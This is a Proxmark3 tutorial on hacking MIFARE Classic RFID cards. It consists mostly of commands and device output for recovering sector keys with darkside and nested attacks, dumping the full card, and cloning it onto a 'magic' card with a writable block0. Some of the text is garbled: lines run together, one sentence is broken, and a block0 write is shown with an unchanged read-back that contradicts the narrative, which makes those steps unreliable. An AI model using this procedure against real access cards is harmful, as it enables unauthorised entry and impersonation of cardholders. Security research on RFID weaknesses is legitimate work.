Exploit - RFID
RFID Hacking
Prepare
- Install Proxmark3
- Check Proxmark3 / card status
Crack Keys
- PRNG Attack
- NESTED Attack
- Dump data & Write data
Prepare
Install Proxmark3
$ sudo apt-get install git build-essential libreadline5 libreadline-dev gcc-arm-none-eabi libusb-0.1-4 libusb-dev libqt4-dev ncurses-dev perl pkg-config
$ git clone https://github.com/Proxmark/proxmark3.git
$ cd proxmark3
$ make clean && makeCheck Proxmark3 / card status
Show version information about the connected Proxmark.
proxmark3> hw version
[[[ Cached information ]]]
Prox/RFID mark3 RFID instrument
uC: AT91SAM7S256 Rev C
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 256K bytes. Used: 0 bytes ( 0%). Free: 262144 bytes (100%).
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memoryproxmark3> hw tune
Measuring antenna characteristics, please wait........
# LF antenna: 30.39 V @ 125.00 kHz
# LF antenna: 32.45 V @ 134.00 kHz
# LF optimal: 37.40 V @ 129.03 kHz
# HF antenna: 18.54 V @ 13.56 MHz
Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.Crack Keys
Act like an ISO14443 Type A reader
proxmark3> hf 14a reader
UID : f3 34 9b ce
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NORead parity error messages. The next step is to extract at least one valid sector key (A or B ). The implementation of the darkside attack in this firmware version of the proxmark only takes about 9 seconds to complete. In this case the key that was found is one of the default keys but that does not affect the speed of the attack.
PRNG Attack
proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average
Press button on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------
.#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
.#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
.#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
Parity is all zero. Most likely this card sends NACK on every failed authentication.
Attack will take a few seconds longer because we need two consecutive successful runs.
.#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
.#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
.#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
.#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
#db# Mifare: Can't select card
Found 2 possible keys. Trying to authenticate with each of them ...
Found valid key:ffffffffffffTest nested authentication. Once we have at least one valid key we can use that key to run a nested attack on all 16 sectors. In this case the fact that 0xffffffffffff is one of the default speeds the process up considerably (about 30 seconds). From tests using cards with fully random keys for all 16 sectors it takes the promark approximately 8 minutes fo find them all. The results here are writen to dumpkeys.bin.
Nested Attack
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
Time in nested: 4.820 (inf sec per key)
-----------------------------------------------
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...Dump data & Write data
As a final step in our initial discovery with the proxmark we will dump the full card contents. This will require dumpkeys.bin to exist in the parent directory so make sure to include the “d” flags in the command above. The results will be written to dumpdata.bin.
proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 0.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 0.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 0.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 0.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 1.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 1.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 1.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 1.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 2.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 2.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 2.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 2.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 3.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 3.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 3.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 3.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 4.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 4.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 4.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 4.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 5.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 5.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 5.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 5.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 6.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 6.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 6.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 6.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 7.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 7.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 7.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 7.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 8.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 8.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 8.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 8.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 9.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 9.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 9.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 9.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 10.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 10.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 10.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 10.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 11.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 11.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 11.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 11.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 12.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 12.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 12.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 12.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 13.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 13.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 13.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 13.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 14.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 14.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 14.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 14.
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 15.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 15.
#db# READ BLOCK FINISHED
Successfully read block 2 of sector 15.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.binproxmark3> script run dumptoemul.lua
--- Executing: dumptoemul.lua, args ''
Wrote an emulator-dump to the file F3349BCE.eml
-----FinishedAs explained previously 99.999% of all Miface cards have block0(sector0) locked at manufacturing time, this is done as a security precaution. Because of this many Miface systems identify their users by their NUID. Unfortunately (for fortunately depending on your point of view) this is not a technical limitation and there is a Chinese manufacturer that sells Mifare cards with unlocked write access on block0. These so called “Magic” cards even take things a step further and have implemented protocol level backdoors that allow us to write to individual blocks or sectors without needing to authenticate with the respective sector keys.
root@sh:~/proxmark3# ./client/proxmark3 /dev/ttyACM0
#db# Prox/RFID mark3 RFID instrument
#db# bootrom: /-suspect 2015-04-02 15:12:04
#db# os: /-suspect 2015-04-02 15:12:11
#db# HF FPGA image built on 2015/03/09 at 08:41:42
Prox/RFID mark3 RFID instrument
uC: AT91SAM7S256 Rev C
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 256K bytes. Used: 0 bytes ( 0%). Free: 262144 bytes (100%).
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash MemoryIf we try to identify the card we can see the manufacture data is different than the key-chain fob but other than that they are pretty much identicak.
proxmark3> hf 14a reader
UID : c9 51 27 10
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: YESAs we can see we can simple dump sector0 without any authentication.
proxmark3> hf mf cgetblk 0
--block number: 0
block data:c9 51 27 10 af 08 04 00 12 13 14 15 16 17 18 19Just to show that we can manually modify block0 I will replace N bytes with .
proxmark3> hf mf csetblk 0 f3349bce9208040001c15bddf9db011d
proxmark3> hf mf cgetblk 0
--block number: 0
block data:c9 51 27 10 af 08 04 00 12 13 14 15 16 17 18 19
The proxmark is also capable of emulating various card types. The proxmark can load contents from special *.eml files and them mimic those cards using the eml file contents. One of the nice feature of the Chinese “magic” cars is that you can overwrite the entire card using these same eml files.
Basically eml files are just cleaned up hex dumps of car data. You can do this manually but I have zipped up a few useful promark script here.
Once we have our eml file we can proceed to overwrite our “magic” card with the contents of our key-chain essentially making a prefect copy.
proxmark3> hf mf cload F3349BCE
#db# write block send command error
Can't set magic card block: 25
proxmark3> hf mf cload F3349BCE
Loaded from file: F3349BCE.eml
proxmark3> hf mf cgetblk 0
--block number: 0
block data:f3 34 9b ce 92 08 04 00 01 c1 5b dd f9 db 01 1dReferences
- https://github.com/Proxmark/proxmark3/wiki/Kali-Linux
- http://www.fuzzysecurity.com/tutorials/rfid/3.html
- http://www.freebuf.com/articles/wireless/109151.html